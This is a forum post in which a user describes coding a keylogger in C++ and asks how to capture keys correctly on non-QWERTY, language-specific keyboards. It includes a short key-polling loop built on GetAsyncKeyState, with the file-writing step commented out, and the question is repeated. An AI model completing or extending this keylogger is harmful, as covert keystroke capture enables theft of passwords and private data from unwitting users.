Nov 18, 2019 09:33 AM
(This post was last modified: Nov 18, 2019 09:39 AM by Ryze.)
So i decided to code a keylogger in C++ but i quickly encountered a problem: my keyboard isn't QWERTY and it has special keys for my language. I'm using this to loop through the ASCII table:
but there are some keys that ouput garbage.
How can i make sure to adapt to whatever language is set on the machine's keyboard? is that even possible because i looked at many sources on github and none seem to tacle this issue
PHP Code
<?php
#define KEY_PRESSED -32767
...
unsigned char key;
while (true) {
Sleep(10);
for (key = 8; key <= 190; key++) {
if (GetAsyncKeyState(key) == KEY_PRESSED) {
//writeToFile(key);
}
}
}
but there are some keys that ouput garbage.
How can i make sure to adapt to whatever language is set on the machine's keyboard? is that even possible because i looked at many sources on github and none seem to tacle this issue

